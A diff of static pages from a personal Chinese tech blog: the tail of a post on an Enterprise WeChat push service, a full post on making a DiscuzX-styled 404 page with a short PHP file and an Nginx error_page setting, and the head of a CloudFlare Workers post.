<a href="#第四步推送消息到微信"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 第四步,推送消息到微信
</h2>
<p>进入「我的企业」 → 「<a href="https://work.weixin.qq.com/wework_admin/frame#profile/wxPlugin">微信插件</a>」,拉到下边扫描二维码,关注以后即可收到推送的消息。 </p><p>
这里一样图标觉得不好看也可以自己改。</p>
<h1 id="可以改进的地方">
<a href="#可以改进的地方"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 可以改进的地方
</h1>
<p>首先目前的这个版本是直接发送的信息所以不支持Markdown看起来也很丑。其实呢我看文档里有说可以直接发Markdown消息不过这样的话微信接收不到…… </p><p>
其实测试号版那个我看完文档之后就在想如果能把内容写到图文消息里也不错啊,可惜图文消息那个要一张头图,做不到开箱即用,这个企业微信版一样也有这个问题…… </p><p>
另外我还看到在文档里有一个文本卡片消息非常的不错但是有一个问题是我不知道为啥它的URL是必选的那这样的话同样我也没办法做到开箱即用…… </p><p>
当然要做的话也不难,自己去看<a href="https://work.weixin.qq.com/api/doc/90000/90135/90236">官方文档</a>就好了,也没有多复杂。 </p><p>
另外测试号版就算模板消息不能用,那也不是不能推送啊,用<a href="https://developers.weixin.qq.com/doc/offiaccount/Message_Management/Batch_Sends_and_Originality_Checks.html">群发预览接口</a>不好吗虽然有每天100次的限制但又不是不能用啊而且还能减少对Server酱服务器的压力我看这所谓要捐助维护就是想着赚钱那么多广告早就够交服务器费用了我也是维护网站的还能不知道这请求要多少钱的服务器 </p><p>
然后看微信发的<a href="https://developers.weixin.qq.com/community/develop/doc/000a4e1df800d82acb9b7fb5e5b001">下线模板消息的通知</a>,应该大概率不会下线这个功能,只是说了灰度测试而已,有可能只是多加了比如授权之类的操作而已。</p>
<h1 id="总结">
<a href="#总结"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 总结
</h1>
<p>其实要不是Server酱有那么多广告还以捐赠名义收费而且还限制那么多的话其实也还算不错的产品而且也是它给了我看微信开发文档的动力让我在假期里还有点事干。只是既然最重要的服务号就要没了那么它也该被开发者们放弃了吧。</p></main>
<small style="display: block">tags: <a rel="category tag" class="p-category" href="/search.html?keyword=Server"><em>Server</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=PHP"><em>PHP</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=%E5%BE%AE%E4%BF%A1"><em>微信</em></a> <span style="float: right;"><a href="https://gitlab.com/mayx/mayx.gitlab.io/tree/master/_posts/2021-02-26-serverchancorp.md">查看原始文件</a></span></small>
<h4 style="border-bottom: 1px solid #e5e5e5;margin: 2em 0 5px;">推荐文章</h4>
<p id="suggest-container">Loading...</p>
<script>
var suggest = $("#suggest-container");
$.get(BlogAPI + "/suggest?id=/2021/02/26/serverchancorp.html&update=" + lastUpdated.valueOf(), function (data) {
if (data.length) {
getSearchJSON(function (search) {
suggest.empty();
var searchMap = {};
for (var i = 0; i < search.length; i++) {
searchMap[search[i].url] = search[i];
}
var tooltip = $('<div class="content-tooltip"></div>').appendTo('body').hide();
for (var j = 0; j < data.length; j++) {
var item = searchMap[data[j].id];
if (item) {
var link = $('<a href="' + item.url + '">' + item.title + '</a>');
var contentPreview = item.content.substring(0, 100);
if (item.content.length > 100) {
contentPreview += "……";
}
link.hover(
function(e) {
tooltip.text($(this).data('content'))
.css({
top: e.pageY + 10,
left: e.pageX + 10
})
.show();
},
function() {
tooltip.hide();
}
).mousemove(function(e) {
tooltip.css({
top: e.pageY + 10,
left: e.pageX + 10
});
}).data('content', contentPreview);
suggest.append(link);
suggest.append(' - ' + item.date + '<br />');
}
}
});
} else {
suggest.html("暂无推荐文章……");
}
});
</script>
<br />
<div class="pagination">
<span class="prev">
<a href="/2021/02/23/picbotpro.html">
上一篇:快速自制微信图片机器人
</a>
</span>
<br />
<span class="next">
<a href="/2021/02/28/discuz.html">
下一篇如何给DiscuzX添加像原生一样的404页面
</a>
</span>
</div>
<!--[if !IE]> -->
<link rel="stylesheet" href="/assets/css/gitalk.css">
<script src="/assets/js/gitalk.min.js"></script>
<div id="gitalk-container"></div>
<script>
var gitalk = new Gitalk({
clientID: '36557aec4c3cb04f7ac6',
clientSecret: 'ac32993299751cb5a9ba81cf2b171cca65879cdb',
repo: 'mabbs.github.io',
owner: 'Mabbs',
admin: ['Mabbs'],
id: '/2021/02/26/serverchancorp', // Ensure uniqueness and length less than 50
distractionFreeMode: false, // Facebook-like distraction free mode
proxy: "https://cors-anywhere.mayx.eu.org/?https://github.com/login/oauth/access_token"
})
gitalk.render('gitalk-container')
</script>
<!-- <![endif]-->
</section>
<!--[if !IE]> -->
<div id="landlord" style="left:5px;bottom:0px;">
<div class="message" style="opacity:0"></div>
<canvas id="live2d" width="500" height="560" class="live2d"></canvas>
<div class="live_talk_input_body">
<form id="live_talk_input_form">
<div class="live_talk_input_name_body" >
<input type="checkbox" id="load_this" />
<input type="hidden" id="post_id" value="/2021/02/26/serverchancorp.html" />
<label for="load_this">
<span style="font-size: 11px; color: #fff;">&#160;想问这篇文章</span>
</label>
</div>
<div class="live_talk_input_text_body">
<input name="talk" type="text" class="live_talk_talk white_input" id="AIuserText" autocomplete="off" placeholder="要和我聊什么呀?" />
<button type="submit" class="live_talk_send_btn" id="talk_send">发送</button>
</div>
</form>
</div>
<input name="live_talk" id="live_talk" value="1" type="hidden" />
<div class="live_ico_box" style="display:none;">
<div class="live_ico_item type_info" id="showInfoBtn"></div>
<div class="live_ico_item type_talk" id="showTalkBtn"></div>
<div class="live_ico_item type_music" id="musicButton"></div>
<div class="live_ico_item type_youdu" id="youduButton"></div>
<div class="live_ico_item type_quit" id="hideButton"></div>
<input name="live_statu_val" id="live_statu_val" value="0" type="hidden" />
<audio src="" style="display:none;" id="live2d_bgm" data-bgm="0" preload="none"></audio>
<input id="duType" value="douqilai" type="hidden" />
</div>
</div>
<div id="open_live2d">召唤伊斯特瓦尔</div>
<!-- <![endif]-->
<footer>
<p>
<small>Made with ❤ by Mayx<br />Last updated at 2026-01-17 17:35:53<br /> 总字数614622 - 文章数178 - <a href="/atom.xml" >Atom</a> - <a href="/README.html" >About</a></small>
</p>
</footer>
</div>
<script src="/assets/js/scale.fix.js"></script>
<!--[if !IE]> -->
<script src="/assets/js/main_new.js"></script>
<script src="/Live2dHistoire/live2d/js/live2d.js"></script>
<script src="/Live2dHistoire/live2d/js/message.js"></script>
<!-- <![endif]-->
</body>
</html>

321
2021/02/28/discuz.html Normal file
View File

@@ -0,0 +1,321 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<!-- Begin Jekyll SEO tag v2.8.0 -->
<title>如何给DiscuzX添加像原生一样的404页面 | Mayx的博客</title>
<meta name="generator" content="Jekyll v3.9.5" />
<meta property="og:title" content="如何给DiscuzX添加像原生一样的404页面" />
<meta name="author" content="mayx" />
<meta property="og:locale" content="zh_CN" />
<meta name="description" content="简单的提高用户体验" />
<meta property="og:description" content="简单的提高用户体验" />
<meta property="og:site_name" content="Mayx的博客" />
<meta property="og:type" content="article" />
<meta property="article:published_time" content="2021-02-28T00:00:00+08:00" />
<meta name="twitter:card" content="summary" />
<meta property="twitter:title" content="如何给DiscuzX添加像原生一样的404页面" />
<meta name="google-site-verification" content="huTYdEesm8NaFymixMNqflyCp6Jfvd615j5Wq1i2PHc" />
<meta name="msvalidate.01" content="0ADFCE64B3557DC4DC5F2DC224C5FDDD" />
<meta name="yandex-verification" content="fc0e535abed800be" />
<script type="application/ld+json">
{"@context":"https://schema.org","@type":"BlogPosting","author":{"@type":"Person","name":"mayx"},"dateModified":"2021-02-28T00:00:00+08:00","datePublished":"2021-02-28T00:00:00+08:00","description":"简单的提高用户体验","headline":"如何给DiscuzX添加像原生一样的404页面","mainEntityOfPage":{"@type":"WebPage","@id":"/2021/02/28/discuz.html"},"publisher":{"@type":"Organization","logo":{"@type":"ImageObject","url":"https://avatars0.githubusercontent.com/u/17966333"},"name":"mayx"},"url":"/2021/02/28/discuz.html"}</script>
<!-- End Jekyll SEO tag -->
<link rel="canonical" href="https://mabbs.github.io/2021/02/28/discuz.html" />
<link type="application/atom+xml" rel="alternate" href="/atom.xml" title="Mayx的博客" />
<link rel="alternate" type="application/rss+xml" title="Mayx的博客(RSS)" href="/rss.xml" />
<link rel="alternate" type="application/json" title="Mayx的博客(JSON Feed)" href="/feed.json" />
<link rel="stylesheet" href="/assets/css/style.css?v=1768642553" />
<!--[if !IE]> -->
<link rel="stylesheet" href="/Live2dHistoire/live2d/css/live2d.css" />
<!-- <![endif]-->
<link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="Mayx的博客" />
<link rel="webmention" href="https://webmention.io/mabbs.github.io/webmention" />
<link rel="pingback" href="https://webmention.io/mabbs.github.io/xmlrpc" />
<link rel="preconnect" href="https://summary.mayx.eu.org" crossorigin="anonymous" />
<link rel="prefetch" href="https://www.blogsclub.org/badge/mabbs.github.io" as="image" />
<link rel="blogroll" type="text/xml" href="/blogroll.opml" />
<link rel="me" href="https://github.com/Mabbs" />
<script src="/assets/js/jquery.min.js"></script>
<!--[if lt IE 9]>
<script src="//cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery-ajaxtransport-xdomainrequest/1.0.3/jquery.xdomainrequest.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
<script>
var lastUpdated = new Date("Sat, 17 Jan 2026 17:35:53 +0800");
var BlogAPI = "https://summary.mayx.eu.org";
</script>
<script src="/assets/js/main.js"></script>
<!--[if !IE]> -->
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async="async" src="https://www.googletagmanager.com/gtag/js?id=UA-137710294-1"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-137710294-1');
</script>
<script src="/assets/js/instant.page.js" type="module"></script>
<!-- <![endif]-->
</head>
<body>
<!--[if !IE]> --><noscript><marquee style="top: -15px; position: relative;"><small>发现当前浏览器没有启用JavaScript这不影响你的浏览但可能会有一些功能无法使用……</small></marquee></noscript><!-- <![endif]-->
<!--[if IE]><marquee style="top: -15px; position: relative;"><small>发现当前浏览器为Internet Explorer这不影响你的浏览但可能会有一些功能无法使用……</small></marquee><![endif]-->
<div class="wrapper">
<header class="h-card">
<h1><a class="u-url u-uid p-name" rel="me" href="/">Mayx的博客</a></h1>
<img src="https://avatars0.githubusercontent.com/u/17966333" fetchpriority="high" class="u-photo" alt="Logo" style="width: 90%; max-width: 300px; max-height: 300px;" />
<p class="p-note">Mayx's Home Page</p>
<form action="/search.html">
<input type="text" name="keyword" id="search-input-all" placeholder="Search blog posts.." />&#160;<input type="submit" value="搜索" />
</form>
<br />
<p class="view"><a class="u-url" href="/Mabbs/">About me</a></p>
<ul class="downloads">
<li style="width: 270px; border-right: none;"><a href="/MayxBlog.tgz">Download <strong>TGZ File</strong></a></li>
</ul>
</header>
<section class="h-entry">
<small><time class="date dt-published" datetime="2021-02-28T00:00:00+08:00">28 February 2021</time> - 字数统计1055 - 阅读大约需要4分钟 - Hits: <span id="/2021/02/28/discuz.html" class="visitors">Loading...</span></small>
<h1 class="p-name">如何给DiscuzX添加像原生一样的404页面</h1>
<p class="view">by <a class="p-author h-card" href="//github.com/Mabbs">mayx</a></p>
<div id="outdate" style="display:none;">
<hr /><p>
这是一篇创建于 <span id="outime"></span> 天前的文章,其中的信息可能已经有所发展或是发生改变。
</p>
</div>
<script>
daysold = Math.floor((new Date().getTime() - new Date("Sun, 28 Feb 2021 00:00:00 +0800").getTime()) / (24 * 60 * 60 * 1000));
if (daysold > 90) {
document.getElementById("outdate").style.display = "block";
document.getElementById("outime").innerHTML = daysold;
}
</script>
<hr />
<b>AI摘要</b>
<p id="ai-output">这篇文章介绍了如何为DiscuzX论坛添加一个与网站风格匹配且现代化的404页面以提升用户体验。作者通过调用DiscuzX程序自定义生成一个404.php文件设置为服务器错误页面如Nginx的error_page指令使错误请求可以由DiscuzX处理显示更友好的提示信息。作者还自嘲可能是第一个处理这种问题的论坛开发者。</p>
<hr />
<ul><li><a href="#起因">起因</a></li><li><a href="#解决方法">解决方法</a></li><li><a href="#总结">总结</a></li></ul>
<hr />
<main class="post-content e-content" role="main"><p>简单的提高用户体验<!--more--></p>
<h1 id="起因">
<a href="#起因"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 起因
</h1>
<p>像现在的新网站,由于使用的引擎越来越先进,网站的路径看起来非常的不错,那些一般开发的时候把它叫做路由。 </p><p>
而过去的网站不一样以前的网站程序大多都是以文件形式存在访问的时候都是服务器程序去读取相对应的文件。像PHP算是有点年头了尤其像我这种不喜欢用框架就喜欢原生PHP的人更是如此。 </p><p>
但是以前也是有让访问的URL变得花里胡哨的办法的一般我们把那个叫做伪静态那个一般是由服务器程序根据规则把对应的路径重写成文件的物理地址。 </p><p>
不过也有不少引擎会把所有情况的路径重写到一个文件中,再由一个文件慢慢处理,其实这个已经算是路由了,像我之前写的<a href="/2021/01/06/proxy.html">超简单反代</a>就是这样的包括一些博客引擎比如WordPress、Typecho等等还有一些CMS也支持。 </p><p>
然而很遗憾的是DiscuzX作为一款有年代的论坛引擎它不会接收所有的请求到处理程序中去这就导致了一个问题那就是错误的请求不会由DiscuzX处理而是由服务器程序处理。 </p><p>
所以DiscuzX在遇到路径404的问题时就只是白底黑字大大的写着404 Not Found而已很丑一般的处理方法也不过是自己单独整一个404页面显得和网站风格很不匹配。 </p><p>
所以今天我要解决这个问题,让这种有年代的程序也显得稍微现代化一点点。</p>
<h1 id="解决方法">
<a href="#解决方法"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 解决方法
</h1>
<p>其实解决这个问题很简单调用DiscuzX的程序去生成这个页面就行了所以以下就是生成这个页面的代码因为是看着模板变量随便写的可能有多余的代码但反正能用</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span>
<span class="nb">define</span><span class="p">(</span><span class="s1">'CURSCRIPT'</span><span class="p">,</span> <span class="s1">'404'</span><span class="p">);</span>
<span class="k">require</span> <span class="s1">'./source/class/class_core.php'</span><span class="p">;</span>
<span class="nc">C</span><span class="o">::</span><span class="nf">app</span><span class="p">()</span><span class="o">-&gt;</span><span class="nf">init</span><span class="p">();</span>
<span class="nv">$navtitle</span> <span class="o">=</span> <span class="s2">"提示信息"</span><span class="p">;</span>
<span class="nv">$show_message</span> <span class="o">=</span> <span class="s2">"抱歉,您访问的页面不存在"</span><span class="p">;</span>
<span class="nv">$alerttype</span> <span class="o">=</span> <span class="s1">'alert_error'</span><span class="p">;</span>
<span class="nv">$allowreturn</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="nv">$param</span><span class="p">[</span><span class="s1">'msgtype'</span><span class="p">]</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="k">include</span> <span class="nf">template</span><span class="p">(</span><span class="s1">'common/showmessage'</span><span class="p">);</span>
</code></pre></div></div>
<p>把这个文件保存为404.php然后放到网站根目录就行了然后再把服务器配置里的错误页面设置为这个文件像Nginx的话可以在server段里加一句<code class="language-plaintext highlighter-rouge">error_page 404 /404.php;</code>就OK了。</p>
<h1 id="总结">
<a href="#总结"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 总结
</h1>
<p>目前来看好像我见到的几乎所有论坛即使不是DiscuzX都没能做到404页面和网站完美融合也许我是第一个写这种东西的人吗😀这样就能很简单的提高特别情况下的网站体验了吧……</p></main>
<small style="display: block">tags: <a rel="category tag" class="p-category" href="/search.html?keyword=PHP"><em>PHP</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=DiscuzX"><em>DiscuzX</em></a> <span style="float: right;"><a href="https://gitlab.com/mayx/mayx.gitlab.io/tree/master/_posts/2021-02-28-discuz.md">查看原始文件</a></span></small>
<h4 style="border-bottom: 1px solid #e5e5e5;margin: 2em 0 5px;">推荐文章</h4>
<p id="suggest-container">Loading...</p>
<script>
var suggest = $("#suggest-container");
$.get(BlogAPI + "/suggest?id=/2021/02/28/discuz.html&update=" + lastUpdated.valueOf(), function (data) {
if (data.length) {
getSearchJSON(function (search) {
suggest.empty();
var searchMap = {};
for (var i = 0; i < search.length; i++) {
searchMap[search[i].url] = search[i];
}
var tooltip = $('<div class="content-tooltip"></div>').appendTo('body').hide();
for (var j = 0; j < data.length; j++) {
var item = searchMap[data[j].id];
if (item) {
var link = $('<a href="' + item.url + '">' + item.title + '</a>');
var contentPreview = item.content.substring(0, 100);
if (item.content.length > 100) {
contentPreview += "……";
}
link.hover(
function(e) {
tooltip.text($(this).data('content'))
.css({
top: e.pageY + 10,
left: e.pageX + 10
})
.show();
},
function() {
tooltip.hide();
}
).mousemove(function(e) {
tooltip.css({
top: e.pageY + 10,
left: e.pageX + 10
});
}).data('content', contentPreview);
suggest.append(link);
suggest.append(' - ' + item.date + '<br />');
}
}
});
} else {
suggest.html("暂无推荐文章……");
}
});
</script>
<br />
<div class="pagination">
<span class="prev">
<a href="/2021/02/26/serverchancorp.html">
上一篇做一个Server酱·TurboMini企业应用版
</a>
</span>
<br />
<span class="next">
<a href="/2021/03/02/workers.html">
下一篇使用CloudFlare Workers做一些有趣的功能
</a>
</span>
</div>
<!--[if !IE]> -->
<link rel="stylesheet" href="/assets/css/gitalk.css">
<script src="/assets/js/gitalk.min.js"></script>
<div id="gitalk-container"></div>
<script>
var gitalk = new Gitalk({
clientID: '36557aec4c3cb04f7ac6',
clientSecret: 'ac32993299751cb5a9ba81cf2b171cca65879cdb',
repo: 'mabbs.github.io',
owner: 'Mabbs',
admin: ['Mabbs'],
id: '/2021/02/28/discuz', // Ensure uniqueness and length less than 50
distractionFreeMode: false, // Facebook-like distraction free mode
proxy: "https://cors-anywhere.mayx.eu.org/?https://github.com/login/oauth/access_token"
})
gitalk.render('gitalk-container')
</script>
<!-- <![endif]-->
</section>
<!--[if !IE]> -->
<div id="landlord" style="left:5px;bottom:0px;">
<div class="message" style="opacity:0"></div>
<canvas id="live2d" width="500" height="560" class="live2d"></canvas>
<div class="live_talk_input_body">
<form id="live_talk_input_form">
<div class="live_talk_input_name_body" >
<input type="checkbox" id="load_this" />
<input type="hidden" id="post_id" value="/2021/02/28/discuz.html" />
<label for="load_this">
<span style="font-size: 11px; color: #fff;">&#160;想问这篇文章</span>
</label>
</div>
<div class="live_talk_input_text_body">
<input name="talk" type="text" class="live_talk_talk white_input" id="AIuserText" autocomplete="off" placeholder="要和我聊什么呀?" />
<button type="submit" class="live_talk_send_btn" id="talk_send">发送</button>
</div>
</form>
</div>
<input name="live_talk" id="live_talk" value="1" type="hidden" />
<div class="live_ico_box" style="display:none;">
<div class="live_ico_item type_info" id="showInfoBtn"></div>
<div class="live_ico_item type_talk" id="showTalkBtn"></div>
<div class="live_ico_item type_music" id="musicButton"></div>
<div class="live_ico_item type_youdu" id="youduButton"></div>
<div class="live_ico_item type_quit" id="hideButton"></div>
<input name="live_statu_val" id="live_statu_val" value="0" type="hidden" />
<audio src="" style="display:none;" id="live2d_bgm" data-bgm="0" preload="none"></audio>
<input id="duType" value="douqilai" type="hidden" />
</div>
</div>
<div id="open_live2d">召唤伊斯特瓦尔</div>
<!-- <![endif]-->
<footer>
<p>
<small>Made with ❤ by Mayx<br />Last updated at 2026-01-17 17:35:53<br /> 总字数614622 - 文章数178 - <a href="/atom.xml" >Atom</a> - <a href="/README.html" >About</a></small>
</p>
</footer>
</div>
<script src="/assets/js/scale.fix.js"></script>
<!--[if !IE]> -->
<script src="/assets/js/main_new.js"></script>
<script src="/Live2dHistoire/live2d/js/live2d.js"></script>
<script src="/Live2dHistoire/live2d/js/message.js"></script>
<!-- <![endif]-->
</body>
</html>

336
2021/03/02/workers.html Normal file
View File

@@ -0,0 +1,336 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<!-- Begin Jekyll SEO tag v2.8.0 -->
<title>使用CloudFlare Workers做一些有趣的功能 | Mayx的博客</title>
<meta name="generator" content="Jekyll v3.9.5" />
<meta property="og:title" content="使用CloudFlare Workers做一些有趣的功能" />
<meta name="author" content="mayx" />
<meta property="og:locale" content="zh_CN" />
<meta name="description" content="挺不错但是还是不如PHP" />
<meta property="og:description" content="挺不错但是还是不如PHP" />
<meta property="og:site_name" content="Mayx的博客" />
<meta property="og:type" content="article" />
<meta property="article:published_time" content="2021-03-02T00:00:00+08:00" />
<meta name="twitter:card" content="summary" />
<meta property="twitter:title" content="使用CloudFlare Workers做一些有趣的功能" />
<meta name="google-site-verification" content="huTYdEesm8NaFymixMNqflyCp6Jfvd615j5Wq1i2PHc" />
<meta name="msvalidate.01" content="0ADFCE64B3557DC4DC5F2DC224C5FDDD" />
<meta name="yandex-verification" content="fc0e535abed800be" />
<script type="application/ld+json">
{"@context":"https://schema.org","@type":"BlogPosting","author":{"@type":"Person","name":"mayx"},"dateModified":"2021-03-02T00:00:00+08:00","datePublished":"2021-03-02T00:00:00+08:00","description":"挺不错但是还是不如PHP","headline":"使用CloudFlare Workers做一些有趣的功能","mainEntityOfPage":{"@type":"WebPage","@id":"/2021/03/02/workers.html"},"publisher":{"@type":"Organization","logo":{"@type":"ImageObject","url":"https://avatars0.githubusercontent.com/u/17966333"},"name":"mayx"},"url":"/2021/03/02/workers.html"}</script>
<!-- End Jekyll SEO tag -->
<link rel="canonical" href="https://mabbs.github.io/2021/03/02/workers.html" />
<link type="application/atom+xml" rel="alternate" href="/atom.xml" title="Mayx的博客" />
<link rel="alternate" type="application/rss+xml" title="Mayx的博客(RSS)" href="/rss.xml" />
<link rel="alternate" type="application/json" title="Mayx的博客(JSON Feed)" href="/feed.json" />
<link rel="stylesheet" href="/assets/css/style.css?v=1768642553" />
<!--[if !IE]> -->
<link rel="stylesheet" href="/Live2dHistoire/live2d/css/live2d.css" />
<!-- <![endif]-->
<link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="Mayx的博客" />
<link rel="webmention" href="https://webmention.io/mabbs.github.io/webmention" />
<link rel="pingback" href="https://webmention.io/mabbs.github.io/xmlrpc" />
<link rel="preconnect" href="https://summary.mayx.eu.org" crossorigin="anonymous" />
<link rel="prefetch" href="https://www.blogsclub.org/badge/mabbs.github.io" as="image" />
<link rel="blogroll" type="text/xml" href="/blogroll.opml" />
<link rel="me" href="https://github.com/Mabbs" />
<script src="/assets/js/jquery.min.js"></script>
<!--[if lt IE 9]>
<script src="//cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery-ajaxtransport-xdomainrequest/1.0.3/jquery.xdomainrequest.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
<script>
var lastUpdated = new Date("Sat, 17 Jan 2026 17:35:53 +0800");
var BlogAPI = "https://summary.mayx.eu.org";
</script>
<script src="/assets/js/main.js"></script>
<!--[if !IE]> -->
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async="async" src="https://www.googletagmanager.com/gtag/js?id=UA-137710294-1"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-137710294-1');
</script>
<script src="/assets/js/instant.page.js" type="module"></script>
<!-- <![endif]-->
</head>
<body>
<!--[if !IE]> --><noscript><marquee style="top: -15px; position: relative;"><small>发现当前浏览器没有启用JavaScript这不影响你的浏览但可能会有一些功能无法使用……</small></marquee></noscript><!-- <![endif]-->
<!--[if IE]><marquee style="top: -15px; position: relative;"><small>发现当前浏览器为Internet Explorer这不影响你的浏览但可能会有一些功能无法使用……</small></marquee><![endif]-->
<div class="wrapper">
<header class="h-card">
<h1><a class="u-url u-uid p-name" rel="me" href="/">Mayx的博客</a></h1>
<img src="https://avatars0.githubusercontent.com/u/17966333" fetchpriority="high" class="u-photo" alt="Logo" style="width: 90%; max-width: 300px; max-height: 300px;" />
<p class="p-note">Mayx's Home Page</p>
<form action="/search.html">
<input type="text" name="keyword" id="search-input-all" placeholder="Search blog posts.." />&#160;<input type="submit" value="搜索" />
</form>
<br />
<p class="view"><a class="u-url" href="/Mabbs/">About me</a></p>
<ul class="downloads">
<li style="width: 270px; border-right: none;"><a href="/MayxBlog.tgz">Download <strong>TGZ File</strong></a></li>
</ul>
</header>
<section class="h-entry">
<small><time class="date dt-published" datetime="2021-03-02T00:00:00+08:00">2 March 2021</time> - 字数统计1676 - 阅读大约需要5分钟 - Hits: <span id="/2021/03/02/workers.html" class="visitors">Loading...</span></small>
<h1 class="p-name">使用CloudFlare Workers做一些有趣的功能</h1>
<p class="view">by <a class="p-author h-card" href="//github.com/Mabbs">mayx</a></p>
<div id="outdate" style="display:none;">
<hr /><p>
这是一篇创建于 <span id="outime"></span> 天前的文章,其中的信息可能已经有所发展或是发生改变。
</p>
</div>
<script>
daysold = Math.floor((new Date().getTime() - new Date("Tue, 02 Mar 2021 00:00:00 +0800").getTime()) / (24 * 60 * 60 * 1000));
if (daysold > 90) {
document.getElementById("outdate").style.display = "block";
document.getElementById("outime").innerHTML = daysold;
}
</script>
<hr />
<b>AI摘要</b>
